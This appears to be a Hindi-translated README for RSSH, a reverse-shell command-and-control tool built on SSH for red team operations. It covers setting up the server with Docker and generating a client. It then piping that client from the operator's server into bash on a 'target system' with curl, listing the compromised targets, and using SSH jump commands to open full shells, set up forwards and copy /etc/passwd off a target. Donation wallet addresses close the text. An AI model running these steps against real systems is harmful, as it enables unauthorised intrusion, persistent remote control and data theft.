
SSH-आधारित रिवर्स शेल प्रबंधन उपकरण जिसमें मूल SCP/SFTP समर्थन, एकाधिक ट्रांसपोर्ट प्रोटोकॉल, Windows DLL जनरेशन, और रेड टीम संचालन के लिए फाइललेस निष्पादन शामिल है।

(कला श्रेय https://www.instagram.com/smart.hedgehog.art/ को)
रिवर्स शेल के लिए SSH का उपयोग करना चाहते हैं? अब आप कर सकते हैं।
SCP और SFTP इम्प्लीमेंटेशनhttp, websockets, tls और अन्य +----------------+ +---------+
| | | |
| | +---------+ RSSH |
| Reverse | | | Client |
| SSH server | | | |
| | | +---------+
+---------+ | | |
| | | | |
| Human | SSH | | SSH | +---------+
| Client +-------->+ <-----------------+ |
| | | | | | RSSH |
+---------+ | | | | Client |
| | | | |
| | | +---------+
| | |
| | |
+----------------+ | +---------+
| | |
| | RSSH |
+---------+ Client |
| |
+---------+
https://github.com/user-attachments/assets/11dc8d14-59f1-4bdd-9503-b70f8a0d2db1
कंटेनर रिलीज़ की सिफ़ारिश की जाती है क्योंकि इसमें golang का सही संस्करण और windows के लिए एक क्रॉस कंपाइलर शामिल है।
# Start the server
docker run -p3232:2222 -e EXTERNAL_ADDRESS=<your.rssh.server.internal>:3232 -e SEED_AUTHORIZED_KEYS="<ssh_key>" -v ./data:/data reversessh/reverse_ssh
या docker compose:
services:
reversessh:
image: reversessh/reverse_ssh
ports:
- "3232:2222"
environment:
- EXTERNAL_ADDRESS=<your.rssh.server.internal>:3232
- RSSH_CONSOLE_LABEL=c2.label
- RSSH_LOG_LEVEL=INFO # DISABLED, INFO, WARNING, ERROR, FATAL
- SEED_AUTHORIZED_KEYS=${SSH_PUBLIC_KEY}
volumes:
- ./data:/data
# Connect to the server console
ssh your.rssh.server.internal -p 3232
# List all server console commands
catcher$ help
# Build a new client and host it on the in-built webserver
catcher$ link
http://192.168.0.11:3232/4bb55de4d50cc724afbf89cf46f17d25
# curl or wget this binary to a target system then execute it,
curl http://192.168.0.11:3232/4bb55de4d50cc724afbf89cf46f17d25.sh | bash
# then we can then list what clients are connected
catcher$ ls
Targets
+------------------------------------------+-----------------------------------+
| IDs | Version |
+------------------------------------------+-----------------------------------+
| a0baa1631fe7cfbbfae34eb7a66d46c00d2a161e | SSH-v2.2.3-1-gdf5a3f8-linux_amd64 |
| fe6c52029e37185e4c7d512edd67a6c7694e2995 | |
| dummy.machine | |
| 192.168.0.11:34542 | |
+------------------------------------------+-----------------------------------+
सभी कमांड सहायता प्राप्त करने के लिए -h फ़्लैग का समर्थन करते हैं।
फिर सामान्य ssh कमांड काम करते हैं, बस अपने rssh सर्वर को जंप होस्ट के रूप में निर्दिष्ट करें।
# Connect to full shell
ssh -J your.rssh.server.internal:3232 dummy.machine
# Start remote forward
ssh -R 1234:localhost:1234 -J your.rssh.server.internal:3232 dummy.machine
# Start dynamic forward
ssh -D 9050 -J your.rssh.server.internal:3232 dummy.machine
# SCP
scp -J your.rssh.server.internal:3232 dummy.machine:/etc/passwd .
आप docs फ़ोल्डर में अधिक पूर्ण दस्तावेज़ीकरण पा सकते हैं। इसमें एक चीटशीट, समस्या निवारण और बहुत कुछ शामिल है।
निम्नलिखित लोगों को RSSH परियोजना में दान देने और इस सारे काम को संभव बनाने के लिए बहुत-बहुत धन्यवाद!
chikamobina को उनके उदार दान के लिए! wrighterase (ctrlzero) को उनके योगदान और दान के लिए!
Carapace न्यूज़ीलैंड स्थित एक सुरक्षा परामर्श कंपनी है जिसमें अत्यंत प्रतिभाशाली लोगों की टीम है!

RSSH परियोजना को वापस देने का सबसे आसान तरीका है बग ढूँढना, फ़ीचर अनुरोध खोलना और उन लोगों को इसका मुँह-ज़बानी प्रचार करना जिन्हें आपको लगता है कि यह उपयोगी लगेगा!
हालाँकि, यदि आप सीधे मुझे कुछ वापस देना चाहते हैं, तो आप ऐसा Github Sponsors के माध्यम से या निम्नलिखित में से किसी भी वॉलेट में भेजकर कर सकते हैं:
Monero (XMR):
8A8TRqsBKpMMabvt5RxMhCFWcuCSZqGV5L849XQndZB4bcbgkenH8KWJUXinYbF6ySGBznLsunrd1WA8YNPiejGp3FFfPND
Bitcoin (BTC):
bc1qm9e9sfrm7l7tnq982nrm6khnsfdlay07h0dxfr